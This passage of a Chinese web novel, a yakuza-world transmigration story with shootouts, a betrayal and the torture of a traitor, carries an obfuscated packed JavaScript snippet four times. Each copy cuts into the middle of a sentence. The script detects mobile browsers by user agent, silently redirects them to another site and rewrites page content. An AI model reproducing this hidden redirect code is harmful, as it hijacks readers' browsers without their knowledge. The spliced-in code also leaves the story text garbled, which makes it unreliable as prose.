“不,”真岛拒绝了他的提议:“我是这个地方的囚犯,和你们在一起,反而会害得你们没法逃走。” 李文海点了点头,也不强求:“我去找认识的人借台车,你和小实在这里等我。” 清原紧紧抿着嘴唇,盯着烧得只剩骨架的车子。 危险暂时排除了,可是,他总觉得有什么地方不对劲,佐川司那个老狐狸不会这样好对付。 就在这时,清原看到有个冒着烟的东西朝李文海的方向滚过去,他悚然一惊。 “李先生!” 他的叫喊被剧烈的爆炸声吞没了,一股无形巨力撞向后背,清原夏野感觉自己仿佛被卡车撞飞了出去,他狠狠地砸向地面,五脏六腑都要被这一下撞碎了。 佐川司不只安了一处炸弹,他是铁了心绝不能让真岛他们活着离开大阪。 朦胧的视线被火光染成橙红,什么东西碰到了清原的肩膀——原来是真岛的手臂,同样被炸飞的真岛奋力地朝他爬过来,最终脱力倒在他身边。 “你呀,真的很过分唷,为什么要说谎呢?这不是让我难过嘛。” 是佐川司的声音,他迈着肉食动物般静谧的脚步走过来,手上握着手枪,用看捕获猎物的眼神凝视着被他逼入绝境的二人。 “佐川…”真岛发出沙哑的声音。 佐川摇了摇头:“别逼我做出这样的事呀,本来这次我也打算要好好遵守诺言的啊,我们约好了,等你杀了那个女的之后,就让你回到岛野那里去吧,但你为什么要干出这种蠢事,就算我想帮也没办法再帮你了啊。” “像,实在是像。”他用放肆的目光打量着清原夏野的脸,啧啧称奇:“真岛老弟,你就是为了这个女人拒绝清原的吗?” 真岛知道佐川在说什么,心脏绞成一团。 “除了杀了你,没有别的办法了,不过这样也挺好,我会送你们两个一起上路的。”佐川说着抬起手臂,黑洞般的枪口对着清原夏野。 清原夏野做出虚弱的样子蜷缩成一团,手指悄悄伸向大衣内侧口袋,那里放着一把托卡列夫手枪——是在按摩店时从流氓手里抢到的那把,想着要不要现在掏枪和佐川司对射。 枪声响起,佐川踉跄地朝前倒去,胸前有血色渐渐洇开。 “什么…”他咬紧牙关,难以置信地转头看过去。 又一颗子弹精准地贯穿了佐川拿着枪的手掌,火光中,一个白西装的男人缓步走来,他停在清原夏野面前,真岛挣扎着想要起身护住清原,被男人一枪托劈晕。 来人把清原打横抱起来,他的味道霎时间浓郁地包围了清原,那是一股幽幽的檀香,混着烟草味。头部传来密集尖锐的刺痛,失血的眩晕越发严重,清原眼前阵阵发黑,再也支撑不住,陷入了沉睡。 再睁眼时,一张非人的煞白脸蛋进入模糊的视线。清原定睛看去,发现眼前并非鬼怪,而是一个带着能面的人。 能面人扶着清原坐起身,递给他一杯水,从推拉门走出去了。 不多时,门外传来脚步声,那个白西装的男人出现在门口,他走进这间和室,盘腿坐在清原对面的榻榻米上。 “我是日侠联的世良,是你的兄长立华铁认识的人,这里是我们在椿园的总部弁天屋。” 世良胜三十出头的样子,许是久处高位的原因,他的眉宇间自带不怒自威的气势,令人心生臣服。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586659|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清原夏野知道日侠联是东城会下面直属的秘部,沉默地点了点头,也不多问。 世良看他低着头,以为他是在害怕:“牧村小姐,我没有恶意,把你带到这里来,也不过是想要保护你不被佐川杀掉。立华先生派来接你的人已经在路上了,想必不多时就能到,现在和我去前厅吧。” 外面已然是下午的天色——第二天下午了,他竟昏迷了那么长时间。 戴着能面的男人在长廊里匆匆走过,清原夏野甚至看到了几个身穿女式浴衣的肌肉猛男。 看不出来,世良胜这家伙还挺闷骚的,居然喜欢看人做这样的怪异打扮。 弁天屋是一座神社风格的朱红色建筑,庭院里立着一座两人多高的雕塑,清原被吸引着,慢慢偏离了石头步道。 少年童子形,顶上有七髻,辫发垂左肩,呈现忿怒相。右持智慧剑,左持金刚锁,端坐磐石上,背后有猛火。是为诸明王之王——不动明王。 世良胜在移动电话里向手下交代完事务安排,才发现清原压根就没跟上来,他耐心沿着来路找回去,便看到清原夏野仰着头,用无神的眼睛仰视着庭院里那尊不动明王塑像,不知道在想些什么。 他安安静静地站在那里,在巨大的明王像前显得单薄弱小,像是香炉里升起的一缕烟雾,苍白、瘦削、清淡。 世良胜不由得对眼前人生出了些许怜惜,他在这里伫足,想必是载不动心中绵长的苦痛,祈求明王保佑能够快点脱离这片苦海。 要是哪天立华铁没法再提供庇护,他不介意把人带回来自己继续照料。 清原夏野向前踏出一步,香雾缭绕间,他对上不动明王一双怒目。 ——见我身者发菩提心,闻我名者断恶修善。闻我法者得大智能,知我心者即身成佛。 「你与其在这里拜不动明王,倒不如去求求世良胜。」 「什么?」 「我看世良胜对你很有好感哩,你要不要想办法留下来?他不久之后会当上东城会三代会长哦,跟着他没有什么不好的。」 清原夏野没有回答系统的话。 凭借这具皮囊一味地依附强者,只会被当作揉搓赏玩后随时可以扔掉的漂亮玩偶,唯有在这波诡云谲的极道世界争得一席之地,我才能安心去征服这群暴烈的野兽。 渴望系统允诺的十兆日元是为贪,为自己的弱小耿耿于怀是为嗔,一味追求极道的权力和力量是为痴。 我全然明白,但全都不会改,正是因为戒不掉贪嗔痴,我才是我。 清原夏野没有许下任何愿望。 他不指望明王菩萨能够实现自己的心愿,世上怎会有这样容易的好事,他所求一切若不能凭自己这双手争来,区区木雕泥塑更是不能如之奈何。 既然是白得来的人生,那做什么都是可以的对吧。 此刻他向自己发誓,无论如何都要在这个世道爬上高位,不管付出什么代价都在所不惜。 20.第 20 章 清原拿着盲杖,被一个戴着能面的男人领着走进和室。他的眼睛还是不太看得见,看人时只能看到一个模糊的色块。 面向门坐的白色色块是世良胜无疑,他对面的那个浅灰色色块没见过,但清原猜到那人是和他在神室町有过一面之缘的主角——桐生一马。 “这位就是牧村小姐。”白色色块发出世良胜的声音。 “我是立华不动产的桐生,另一个叫做尾田的人和我会陪你一起去神室町。” 清原听到桐生拘谨的声音,心中暗自发笑,但面上还是做乖巧状。 “替我向立华先生问候一声,桐生。”世良胜说,桐生一马答应下来,他起身来到清原面前,搀扶着他走出房间。 “小姐,我们要前往京都,从那里搭乘新干线。”离开椿园的路上,桐生和清原夏野简单解释了他们接下来的计划。 尾田焦躁地抱着手臂,不停在椿园门口打转,看到桐生二人出来,他迫不及待地走向路边停靠的出租车:“磨磨蹭蹭做什么,快点过来!” 清原夏野用力地握了握盲杖的手柄,婉拒了桐生想要扶他上车的举动:“不用这么紧张,桐生先生,我并不是全盲,还是可以看到一点东西的。” 桐生看着他上车,自己则绕到另一侧,清原扯了扯安全带,对司机说:“我这边安全带好像是坏掉了,您能过来帮我看一下吗?” 没有谁能够拒绝美人柔声细语地央求,司机不疑有他,殷勤地下车查看。 “没有坏啊,可能这一边的安全带不怎么用,所以有些紧吧…” 话音未落,清原举起盲杖在他脑后狠狠敲下一记,司机身体晃了晃,噗通一声倒下了。 清原抓起司机的衣领把人扔在人行道上,摸出几张万元钞票塞进他口袋里,当作回程的路费。做完这一切后,他摸索着坐回后座,淡定地下达指令。 “尾田先生是吧,我要你来开车。” “你这女人!”尾田又惊又怒,失控地咆哮道。 “你们接到的任务是把我安全带回东京吧,再不抓紧时间出发,我们都要被抓喽。” 清原语气礼貌,但又不容反驳,在似曾相识的压迫感之下,尾田纯骂骂咧咧地钻进了驾驶座,他狠狠地盯着后视镜里的清原,怨毒的目光如有实质。 清原自顾自闭目休息,堂岛组不可能放任他们就这样离开大阪,这一路注定不会太平。他不想把普通百姓牵扯进来,所以才打晕了出租车司机,至于开车的尾田——死了当然最好。 “右边车道,后面那辆,从刚才开始就维持着固定距离在跟车。”尾田纯的骂声传来:“真是见鬼,这么快就被盯上了。” 像是在呼应他的话一样,后方四台黑色奔驰紧紧地包围了过来,把他们的出租车夹在中间。 右后方的车子追上来,后座车窗摇下,露出涩泽启司冷酷的面容,他竟是亲自来参与围堵。 涩泽抬起枪——枪口指向了驾驶座上的尾田。 尾田一直留意着那辆车的动静,看到涩泽掏出枪就下意识弯腰躲避,子弹从他脑袋上飞过,只打碎了风挡玻璃。涩泽一击不中,也没有再补一枪,他坐的那辆车迅速驶走了。 尾田咒骂一声,把油门踩到底,堂岛组的人也从后面追了过来,桐生从车窗探身出去,举枪对准追赶而来的流氓们,一时间枪声和吼叫此起彼伏。 不知过了多久,枪声变远了。虽然没有人受伤,但大家的身体和神经都是超负荷的状态,车内飘荡着紧张的情绪,尾田纯害怕追兵还会再跟上来,开着车下了高速,停在一幢废弃大楼前。 桐生扶着清原慢慢上楼,尾田快步走在前面,不时从喉咙里发出不耐烦的声音。 “该死的!涩泽从什么时候开始注意到我们的?”甫一踏上三楼的平台,尾田便发作起来。 清原听到他的怒吼,嘴角扬起讥诮的弧度。 若不是你这个叛徒和涩泽泄露了情报,他怎么会这么快追过来。 “你冷静点,尾田,你会害得她也跟着不安的。”桐生看不下去,劝阻道。 “不用担心,我没事。” “你没事我们有事好吗!”尾田看清原竟如此淡定,暴怒不已,抡起巴掌就要朝他脸上挥过去,桐生手疾眼快地抓住了他的手臂大声喝止。 “尾田!” 桐生的力气实在太大,盛怒之下更是难以撼动分毫,尾田几乎用尽全力才从他的钳制中挣脱出来,忿忿然转身:“我去看看下面的情况。” 属于尾田的脚步声远去,清原开口道:“桐生先生,关于尾田先生,我有一件事情想要告诉你,他曾经残害过「牧村实」。” “什么!”桐生面露震惊之色,他没有注意到清原夏野说的是「牧村实」而不是「我」。 “你果然知道了啊。”尾田说着,从楼梯的阴影中走出来,充血的眼睛里闪烁着凶光,握着左轮手枪的右手不停颤抖,枪口对准了桐生二人。 “不好意思,我不能让立华社长和这女人见面,”他走到两人近前,粗鲁地抓住清原的肩膀把他抓过来,用枪对着他的太阳穴,言语中夹杂着粗重的喘息:“所以,只能请你们死在这里了。” 他调转枪口指向桐生,准备先杀了他灭口。在他没有注意到的地方,清原拔出了藏在盲杖里的刀。 尾田的手指搭上了扳机,与此同时,清原的刀没入了他的大腿,他这一刀没有手下留情,尾田倒在地上,西裤被血染红,失去血色的嘴唇不断痉挛。 桐生惊愕地俯视着倒在地上的尾田。 “你在搞什么,尾田?为什么背叛我们,你难道不是立华的拜把兄弟吗?” 尾田不停颤抖着,一张脸因痛苦而扭曲,清原摸索着捡起掉落在地上的手枪,用冷静的声音替他回答了这个问题。 “因为这个人在两年前,曾经把「牧村实」监禁,并且把她卖给了韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611440|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国系组织,事后他才发现「牧村实」是他所崇敬的大哥——也就是立华社长的亲妹妹。” “你居然全都知道,”尾田的脸上蒙上了一层阴翳,焦躁和恐惧让他看上去就像将死之人:“事情已经无法挽回了,就算那已经过去了,立华先生也绝不会原谅我做过的事吧,那我能走的只有两条路其中之一而已,是要抱着毁灭的觉悟让你去见社长,或是另一条路…让你从这世上消失掉。” “所以你觉得杀掉我更保险一点,还是选了第二条路。” “我已经没有其他选择了。前几天一个骗子来找社长,说什么能解决这件事情,还让我不要轻举妄动,自己来大阪之后却跑得人影都不见,我早知道那种死同性恋不可信,他肯定是为了骗钱才接近社长的。” 尾田喃喃地说着,额际布满了汗水,清原用不带任何情绪的眼睛看着他。 “我心里其实是清楚的,很久以前就知道了,这种事情不可能瞒得住,尽管如此,我还是不想让社长失望。”尾田的脸开始扭曲,露出似笑似哭的表情。 楼下的动静大了起来,刹车的声音,脚步声、喊声重叠在一起。 “喂,在这里,从这边走!” “是涩泽组的人,他们追过来了。”桐生沉声道。 “可以把枪给我吗?我去拖住他们。”尾田缓缓坐起身:“我已经这样了,既然都是要死,我想为立华先生做点事情再死。” 清原夏野把枪丢给他,尾田苦笑一声:“桐生,虽然挺厚脸皮的,但可以麻烦你转告立华先生一句话吗?告诉他说,我…真的…很喜欢立华先生。” “我会转达的,但你可别乱来,这样的话对方应该也不至于取你的性命。” 桐生深深地看了他一眼,扶着清原迅速离去。 弹夹里的六发子弹很快就打空了,尾田捂着中弹的肩膀,被流氓团团围起来,穿着紧身西装的涩泽分开包围圈走向他。 “那女人在哪里?” “我也已经不知道她在哪里了。”尾田纯摇了摇头。 “你不是选择背叛立华帮我做事吗?为什么没有马上把那女人交给我?” “那是因为你们被世良抢先了一步啊,如果你们早点抓住那女人,我就不用来苍天堀了。” “是么,真可惜,你现在派不上用场了。”冷漠的语调,涩泽用枪顶住尾田的额头,手指渐渐用力,扳机被扣动了—— 枪声震耳欲聋。 涩泽应声而倒。 组长竟在他们眼皮底下被人开了黑枪,涩泽组的组员发出没有意义的大吼,没头没脑地四处搜寻,而暗处的子弹比他们的动作更快,几乎是眨眼之间,流氓们躺倒了一大片。 清原夏野举着枪从藏身的柱子后走出来,黑洞洞的枪口冒着烟,眼神深处闪烁着冷静的光芒,哪里还是个盲人。 “桐生先生,劳烦你把这个叛徒也带上。”他踢了脚地上的尾田纯。 21.第 21 章 酒店套房的洗手间里,清原夏野卸掉假发和脸上的伪装,换上了衬衫和西装裤。 他推门出去的时候,桐生一马也拎着一个袋子开门走进来,清原瞥见袋子上有药店的标志,随口问了一句。 “你出去给那家伙买药了?路上没人跟踪吧。” “嗯,应该没有人跟过来。”桐生下意识回答完,才发现清原夏野外表上的变化,不由得一怔。 清原注意到他的反应,笑了笑提示道:“我们见过面的,桐生一马先生,几天前你在神室町救过我。” “你不是牧村实。你究竟是什么人?”桐生一马凝视着他,问道:“牧村实现在在哪里?” “对,我不是牧村实,我真名叫清原夏野,不久前刚加入立华不动产,姑且算是你的同事。”清原拿过他手中的袋子,从里面翻出绷带和消毒水放到一边:“至于实小姐的事情…桐生先生,我现在没时间和你多解释,只一句话——真正的牧村实已经在东京了。” 桐生被搞糊涂了:“既然这样,立华社长为什么要让我和尾田来大阪接牧村实?” “把牧村实偷偷送去东京并不是立华社长的安排,是我擅自做的决定,社长本人并不知情。” 尾田平躺在地板上人事不知,清原从他口袋里找出烟盒,虽然不是他喜欢的牌子,但聊胜于无。他自己点上一支,给桐生也扔了一支:“桐生先生,麻烦到水房的开水龙头那里给我接一盆热水,这混账被枪打中了,得先把子弹弄出来才行。” 桐生用酒店的洗脸盆打了一盘热水过来,清原拧开消毒水的瓶子,把里面的液体混进热水里,他抽出盲杖里的小刀,冲洗干净上面的血迹后,用刀割开尾田胸前的衣服。 清原俯下身,仔细检查尾田肩上的枪伤:“不是贯穿伤,打他的人用的7.62毫米的子弹。” “能救过来吗?”桐生忍不住问了一句,清原耸了耸肩。 “难说,我没有给人做过手术,能做到的只是把子弹取出来,现在也搞不到麻醉剂给他用,是死是活全凭天意了。” 他把刀子在混合了消毒水的热水里浸了一下,利落地划开了尾田伤处的皮肤,尾田纯闷哼一声,双眼微微睁开。 “是你!”尾田这次也认出了清原夏野,眼里闪过一丝复杂:“为什么要救我这种人…” “桐生先生,你去酒店前台给我借一根针,回来的时候在地上找几根长头发,越长越好。”清原说着,手下动作不停:“死在涩泽启司手中太便宜你了,你没有脸面再见立华社长,我偏要把你弄回去。” 他从尾田的伤口里夹出一块绽开的铅块,桐生把清原要的东西递过来,清原捏起长发穿在针上,草草缝合了伤口。 尾田闭着眼,发出苦闷的喘息。 “刚才在烂尾楼里的时候,你想要打我来着,没错吧?” 清原一边给尾田缠紧绷带,一边说。 “真的…对不起…”尾田的声音因为痛苦而扭曲。 清原居高临下地看着他,把燃烧着红光的香烟按在尾田大腿的伤口上,尾田咬紧牙关没有吭声。 “啊,对了,后来你还管我叫什么,死同性恋?没错吧?” 他从大衣口袋里掏出索尼的便携式磁带录音机,在上面按了几下,尾田的声音从里面传来。 ——可以麻烦你转告立华先生一句话吗?告诉他说,我…真的…很喜欢立华先生。 清原把录音机放在桌子上,任凭这句话大声在房间里循环播放。 “现在给我好好再说一遍,谁是死同性恋?”他蹲下来,用手背拍了拍尾田的脸。 “我对社长并不是那样的感情…” “呵呵。”清原冷笑一声。 “社长有危险…”尾田从喉咙里硬挤出一丝声响:“拜托你,快去救社长…” 清原没有听清,皱眉问道:“你说什么?立华怎么了?” “我…离开东京前,把社长在亚细亚街的事情…告诉了…涩泽。”尾田艰难地开口。 清原夏野脸上闪过一丝怒气。他原以为尾田是承受不住涩泽组的拷问才交代了立华的藏身之处,没想到还是低估了这个人的垃圾程度。 不是为了钱财、不是为了地位,仅仅是因为要逃避自己造下的业果,这蠢货就这样把立华铁出卖给了涩泽组。 “真好啊,尾田,你要把社长害死了,我也快被你害死了。”清原夏野怒极反笑:“我有说过会帮你解决这事的吧,你是一点也没听进去啊。” 涩泽组没有任何理由再放过立华,想必东京那边已经采取行动了,现在能马上回到东京、阻止立华被杀的只有身怀系统的自己。 ——快停下笨蛋,你会被涩泽安排的杀手杀死的,对上那样的怪物根本就没有任何胜算吧。 类似这样的念头掺杂着混乱血腥的画面,在清原的思绪里一闪而逝。他的心没有任何动摇,他一直是个想做什么就会不遗余力去做的人,再说自己已经死过一次了,就算再死一次也没什么可惜的。 清原夏野伸手捞起泡在水盆里的刀,森冷的目光落在尾田纯身上。 看到这个人,看到他手臂上的蝙蝠刺青,只会让牧村实想起不愉快的过去。再说,若是不让这混账吃点苦头,清原自己也是咽不下这口气的。 尾田看到清原拿刀走近,以为他要剁自己的小指,颤巍巍抬起手来,清原还是第一次从人的脸上看到狗一样的表情。 匕首闪过一道寒光,尾田捂着被削掉一片皮肉的手臂,发出野兽般的惨叫。 “这是怎么回事?”桐生一马没料到方才还言笑晏晏的人突然暴起,愕然无比。 尾田在剧痛之下几乎昏了过去,清原在他的衣服上抹去刀上的血迹,收刀入鞘,但愿尾田这一辈子,永远都不要忘记背叛的代价。 “我今晚就要出发去东京。”清原走到门口拿起外套,对桐生说:“桐生先生,请你留下看管这个叛徒,你要保证他活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630846|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着回到东京,向实小姐当面赎罪。” 清原来到亚细亚街安全屋的二楼时,碰上一个拎着波士顿包的中年男子从立华的房间走出来。 “我刚给他做完透析,麻药的药效才过去,现在最好不要打扰病人休息…” “抱歉,我有着急的事找他。”清原说。他绕过这个密医,径自推开了门。 屋里弥漫着消毒水的气味,立华铁赤着上身坐在床上,脸上是少见的疲惫神色。听到开门声他抬眼看过来,紧接着,他的眼睛因惊讶而睁大了。 “清原先生?” “我把实小姐接到东京了,现在她在安全的地方。”清原夏野语速飞快:“您在这里的事已经被泄露了,涩泽组的人随时可能会过来,我们不能再待在亚细亚街了。” 立华铁听完也明白事态紧迫,他抓起上衣穿上:“我知道了,我们现在动身离开。” 清原走到床边架起立华一只手臂,撑着他站起身来,二人迅速出门下楼。 刚走出大门,便看见十来个流氓拿着棒球和铁管,气势汹汹地从另一头走过来,清原和立华见状躲在门外几乎摞成小山的纸箱后面,等这帮人全都进到楼里,二人才走出来。 走出不远,他们听见二楼的窗子传来怒吼,那些流氓也发现要抓的人跑掉了。 清原夏野低声催促:“快走,只要出了亚细亚街,他们就没那么容易追上来了。” “有人在看着我们。”立华铁突然说。 清原瞳孔骤缩,颈后瞬间出了一层细汗。他猛地抓住立华铁的手臂,带着他往一旁的巷子里倒去,二人摔在地上。几乎是同时,外头传来几声枪响,巷口的那块石砖被人打了个稀碎——清原一秒前还站在上面。 开枪的男人站在右前方楼顶的天台上,他一身黑色中山装,长着张严肃的方脸,年纪大概三十上下,鹰隼般的双目盯着他们藏身的地方。 正是堂岛组请来的金牌杀手「老鬼」! 他们躲进的这条巷子是个死胡同,一直待在这里与等死无异。清原不再犹豫,他从大衣口袋里掏出枪,之前从流氓那里抢来的一把,加上从尾田那没收的一把,把子弹填满了弹匣。 做完这些后,清原略微探出头,眼见老鬼仗着身手敏捷,踩着外墙的广告灯箱就要从楼上翻下来,他对准几个能落脚的灯箱双枪连发,老鬼大叫一声栽下来,应该是被打中了。 以老鬼的身手,自己能打中他一枪已经是运气好,清原不敢恋战,拉上立华继续往外跑。 「你有防弹衣之类的东西吗?」清原一边跑,一边问系统。 「没有,但我可以给你用上痛觉屏蔽,痛觉屏蔽是付费商品,十个虐心值兑换12小时,要兑换吗?」 清原还没来得及回应,一旁的立华用力撞了他的肩膀一下,三根黑色长钉擦着他的耳边飞过,深深没入砖墙里。 身后传来脚步声,老鬼又追了上来。真是阴魂不散,清原夏野恨恨咬牙。 22.第 22 章 老鬼步伐从容地追在后面,冷静的目光死死锁定前方奔跑的立华铁和清原夏野。 立华旁边的小孩实在是不像是保镖的样子,他心生疑惑没有第一时间开枪,这才被对方得手,大腿上挨了一枪。 碍事的家伙,还是早点解决这个麻烦比较好。老鬼想着,对准清原夏野的背后连开数枪。 清原没有躲——老鬼的攻击快得让人看不清,他也躲不了——他们正在一条笔直的巷子里奔跑,还要几十米才到前面的岔路。 他的肩胛一阵剧痛,感觉大脑都要融化了。 「给我开痛觉屏蔽。」 清原忍着痛对系统说,系统还是一如既往的靠谱,浑身的痛楚一瞬间从他身上抽离,他把立华护在身前,自己全数承受了老鬼的子弹。 岔路就在左边,清原把立华推进去,自己也躲了进去。 “立华先生,给我出来,我接到的命令里并没有让我杀你。” 巷子外传来老鬼的声音。他在行动之前仔细看过亚细亚街的地图,知道立华二人是跑进了死胡同,这才没有直接过来抓人,而是在外面喊话。 清原靠在墙上恢复体力,立华铁和他靠在一起,闻到一股腥甜的铁锈味,借着昏暗的光线,他看到清原夏野衬衫的胸襟完全被血染红,令人心惊。 “喂!清原,你怎么样了!” “还好,暂时死不了。”清原夏野应声,他的呼吸声急促且浅短,听得立华铁心又是一揪。 “那家伙的目的是活捉我,凭现在的我们既无法和老鬼对抗,也逃不掉,”立华脸上闪过一丝决意,俯身捡起脚下一块碎玻璃片:“但是如果只有你一个人的话,应该就可以逃掉了。” 清原见状二话不说,用手枪抵住了自己的太阳穴。 “清原!” “你要是被老鬼带走,我就崩了自己,大家都不要活了。”互相瞪视之下,清原夏野平静的双眼丝毫没有动摇:“你先把手里的玻璃放下。” “听我说,清原,我知道你真正想要的是立华不动产,从现在起,我的公司交给你了。”立华用飞快的语速低声说,他的额头几乎和清原夏野的额头碰在了一起:“谢谢你为我和小实做的一切,这些天你在东京和大阪两地奔波,吃了这么多苦头,我实在不知道该怎么答谢你好…快走吧,离开这里,你这样年轻,我们这些人不值得你送命。” “值不值得只有我说了才算。”清原踉跄着朝巷道深处走了几步,他无暇顾及身上的伤势,还能站得起来,就说明没打在要害处:“别说傻话了,我不会让你被带走的。” 一旦立华落到堂岛组手里,凭自己这个弱鸡想再把他救出来,简直是异想天开,立华铁要是死了,他前期投入的时间精力可就全落空了。 立华还要说什么,清原朝他作了一个噤声的手势,又示意他跟着自己走。走到巷子尽头,清原踢开地上的稻草,露出一道活板门来。 两人一前一后下去,清原翻出钥匙把活板门从里锁上,又拿起旁边的长金属管,一端抵住活板门中心,一端斜抵在地面的巨石上,做成一个简单的三角结构。 “这条密道通向亚细亚街外面,我和陈老爷要了密道的钥匙。”他一边跑,一边和立华解释。 “多亏你有先见之明。”立华感慨道。 清原夏野不置可否。并不是他有先见之明,而是玩过游戏提前知道了剧情发展罢了。就算是身怀穿越者的金手指,自己身为普通人,也只能做到这样的程度而已。 立华和清原冲出密道,面前就是泰平大街,来来往往的行人映入眼帘,他们还没来得及庆幸,老鬼又从后面追了过来, “借我用下你的枪。” 立华拿过清原的枪,朝天放了一枪,路人像是潮水般地逃开,想必不多时,这条路上就会塞满警车了。 老鬼被人流挡在亚细亚街街口,没有立即追上来,清原二人对视一眼,冲进一旁的舞厅。 幽暗的店里,播放着震天响的迪斯科舞曲,男男女女在舞池中扭动着身体,无人在意突如其来的闯入者,清原抬脚踢翻舞台边一人高的音响,刺耳的噪音在舞厅立回荡,跳舞的人们捂住耳朵,争先恐后地朝门外跑,一时间乱作一团。 两人趁机冲进消防通道,跑上二楼的露天平台,下方一辆观光巴士恰遇红灯停靠,通道里传来恼人的脚步声。 “跳!”清原喊道,与立华先后跃下,落进露天巴士二层的后座。此时红灯变绿,巴士缓缓开动了。 清原支起身朝身后望去,只见老鬼瞥了眼他们逃走的方向,毫不迟疑地从露台跳下来,稳稳落地后迅速朝他们的方向逼近,以他奔跑的速度,恐怕用不上几分钟就会追上巴士。 “我要的东西带来了吗?”清原转头问道。立华这才注意到他身边的座位上坐着一个带鸭舌帽的男人,抱着一个鼓涨的黑色旅行袋。他起身的时候立华认出了这张脸——是跟着陈老爷的那些亲信中的一个。 清原从男人手中接过背包,一手扯开拉链,露出里面满满的万元大钞,紧接着他抓起一捧钞票朝着车后撒了过去,立华见状也赶紧帮他一起撒钱。 钞票像是雪片般洒下,不知谁先喊了句“捡钱啦”,下方街道的行人在看清钞票面额后瞬间沸腾,就连巴士上的乘客也跟着跳车捡钱,眨眼之间就把老鬼压在了下面,他腿上本来有枪伤,清原猜测这么一压怕是要截肢。 一辆轿车冲过来,摇下一半的车窗里传出锦山彰的吼声:“快,上车!” 清原夏野和立华铁钻进后座,身后尖锐的警笛声此起彼伏,警察把老鬼从人群中架出来戴上手铐,清原看在眼中,像是暂时卸下身上的重担一样,深深地叹了口气。 “只要那个叫「老鬼」的杀手被条子逮进去,就能证明桐生的清白吗?”锦山开着车,急切地问道。 “没错,当初桐生在「空白的一坪」被构陷杀人,正是老鬼的手笔,我想,是堂岛组雇佣老鬼杀人,然后嫁祸给桐生,只要老鬼被捕,他的罪行自然会败露。” 锦山倒吸一口凉气,不相信组里的大哥们会用这样狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650802|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毒的手段对付自己人。 清原回答完他的问题便没了动静,立华偏过头看去,只见他脸色煞白地歪倒在驾驶座上,陷入了昏迷。 “喂,清原,振作一点!” 清原紧紧闭着眼,已经是什么都听不到了。 「瑟蕾娜」的楼上,密医匆匆地从丽奈的房间走出来。 “我把他体内的弹片都取出来了,”他对等在门外神色焦急的几人说:“他中了六枪,这样都没死,还真是命大。” 丽奈端着一盆温水和毛巾走进房间,密医摊开手中一小把染血的弹片:“他伤到了内脏,需要好好静养,这段时间不要让他随便走动。” 立华点了点头,沉默地接过他手中的弹片盯着看了一会,放进自己的衣袋里。 几乎是同时,屋里传来丽奈的惊叫。 立华和锦山冲进房间,只见卧室窗户不知道什么时候被打开了,冬天的冷风卷进来,把床上的字条吹到他们面前。 ——我有急事去做,不用找我,回头联系。 真岛吾朗接到一个电话,对方声称自己有牧村实的下落,让他到「空白的一坪」一趟。 他到达约定地点时,那块畸零地上空无一人,真岛脸色变得阴沉,不清楚是何人特意把他骗过来。 “嗨,店长先生,我在上面。” 清原夏野站在天台上俯视着他,黑色风衣在风中猎猎作响,手指间烟头的红光跳动了一下。 “是你约我出来的吗?” “是我。”清原夏野朝他招了招手:“一直仰着头不累吗,上来聊。” 真岛上楼走向他,远远闻到一股消毒水味,越是靠近,那股味道就越浓郁。 “你知道牧村实,你到底是什么人?” “我当然知道牧村实,我就是为了牧村实才接近你的。我早就知道岛野会派你去杀牧村实,也知道东城会和近江联合这些弯弯绕绕,我什么都知道。”清原爽快承认了:“至于我是什么人…我是清原夏野啊,这就是我的真名。” 真岛茫然望着天,连对自己的愚蠢生气的力气都没有了。无论是岛野老爹还是佐川司都把自己当条狗来耍,现在还要再加上个清原夏野。 被戏弄的人生,被戏弄的感情。 “你和牧村实是什么关系?为什么会知道她的下落?你是哪一边的人?东城会?近江联合?还是其他的势力?”真岛突然发狠暴起,抽出怀中的肋差指向清原:“给我说实话!不然就杀了你。” “少吓唬我了,你根本就不是能下手杀人的那种人。”清原被真岛如临大敌的表情逗乐了,抬手把他的刀推到一边。 